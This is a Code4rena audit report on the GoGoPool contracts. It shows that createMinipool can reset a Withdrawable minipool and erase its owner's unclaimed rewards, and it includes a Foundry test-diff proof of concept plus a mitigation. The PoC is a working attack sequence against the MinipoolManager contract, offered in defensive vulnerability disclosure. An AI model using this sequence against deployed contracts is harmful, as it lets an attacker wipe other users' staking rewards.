GoGoPool contest - 0xc0ffEE's results

Lines of code

https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L242-L247 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L163-L167 https://github.com/code-423n4/2022-12-gogopool/blob/aec9928d8bdce8a5a4efe45f54c39d4fc7313731/contracts/contract/MinipoolManager.sol#L687-L696

Vulnerability details

Impact

Function createMinipool let anyone create a minipool such that if the nodeId existed, then reset minipool data, else create new record. If nodeId already existed, minipool status must be able to transition to Prelaunch. So the current status could be one of these: Error, Cancelled, Finished, Withdrawable. For example If the minipool is in Withdrawable status and the reward is not withdrawn, the function createMinipool is executed with the same nodeId, the logic in resetMinipoolData() is reached -> minipool data for nodeId at that time is reset, which means the data for withdraw logic is erased. This vulnerability could let anyone with enough staked GGP erase reward amount of other minipool owner.

Proof of Concept

diff --git a/test/unit/MinipoolManager.t.sol b/test/unit/MinipoolManager.poc.t.sol
index ed2a6e8..63fe76f 100644
--- a/test/unit/MinipoolManager.t.sol
+++ b/test/unit/MinipoolManager.poc.t.sol
@@ -11,7 +11,10 @@ contract MinipoolManagerTest is BaseTest {
 	uint256 private status;
 	uint256 private ggpBondAmt;
 
+  address malicious;
+
 	function setUp() public override {
+    malicious = vm.addr(184);
 		super.setUp();
 		nodeOp = getActorWithTokens("nodeOp", MAX_AMT, MAX_AMT);
 	}
@@ -414,23 +417,31 @@ contract MinipoolManagerTest is BaseTest {
 		vm.expectRevert(MinipoolManager.InvalidAmount.selector);
 		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, 9 ether);
 
+
+
 		//right now rewards are split equally between the node op and user. User provided half the total funds in this test
 		minipoolMgr.recordStakingEnd{value: validationAmt + rewards}(mp1.nodeID, block.timestamp, rewards);
-		uint256 commissionFee = (halfRewards * 15) / 100;
-		//checking the node operators rewards are corrrect
-		assertEq(vault.balanceOf("MinipoolManager"), (depositAmt + halfRewards + commissionFee));
 
-		MinipoolManager.Minipool memory mp1Updated = minipoolMgr.getMinipool(minipoolIndex);
-		assertEq(mp1Updated.status, uint256(MinipoolStatus.Withdrawable));
-		assertEq(mp1Updated.avaxTotalRewardAmt, rewards);
-		assertTrue(mp1Updated.endTime != 0);
-		assertEq(mp1Updated.avaxNodeOpRewardAmt, (halfRewards + commissionFee));
-		assertEq(mp1Updated.avaxLiquidStakerRewardAmt, (halfRewards - commissionFee));
+    // withdrawable now
+    mp1 = minipoolMgr.getMinipoolByNodeID(mp1.nodeID);
+    assertGt(mp1.avaxTotalRewardAmt, 0);
 
-		assertEq(minipoolMgr.getTotalAVAXLiquidStakerAmt(), 0);
+    vm.stopPrank();
+    dealGGP(malicious, 1_000_000 ether);
+    vm.deal(malicious, 1_000_000 ether);
+    vm.startPrank(malicious);
+    ggp.approve(address(staking), MAX_AMT);
+		staking.stakeGGP(ggpStakeAmt);
 
-		assertEq(staking.getAVAXAssigned(mp1Updated.owner), 0);
-		assertEq(staking.getMinipoolCount(mp1Updated.owner), 0);
+    minipoolMgr.createMinipool{value: dao.getMinipoolMinAVAXAssignment()}(mp1.nodeID, duration, 0.02 ether, dao.getMinipoolMinAVAXAssignment());
+    MinipoolManager.Minipool memory mp2 = minipoolMgr.getMinipoolByNodeID(mp1.nodeID);
+
+    // reward amount erased
+    assertEq(mp2.avaxTotalRewardAmt, 0);
+
+    changePrank(nodeOp);
+		vm.expectRevert(MinipoolManager.OnlyOwner.selector);
+    minipoolMgr.withdrawMinipoolFunds(mp1.nodeID);
 	}
 
 	function testRecordStakingEndWithSlash() public {

Tools Used

Foundry

Recommended Mitigation Steps

With creating minipool logic: if the nodeId exists, the minipool status must not be Withdrawable, i.e prevent transitioning from Withdrawable to Prelaunch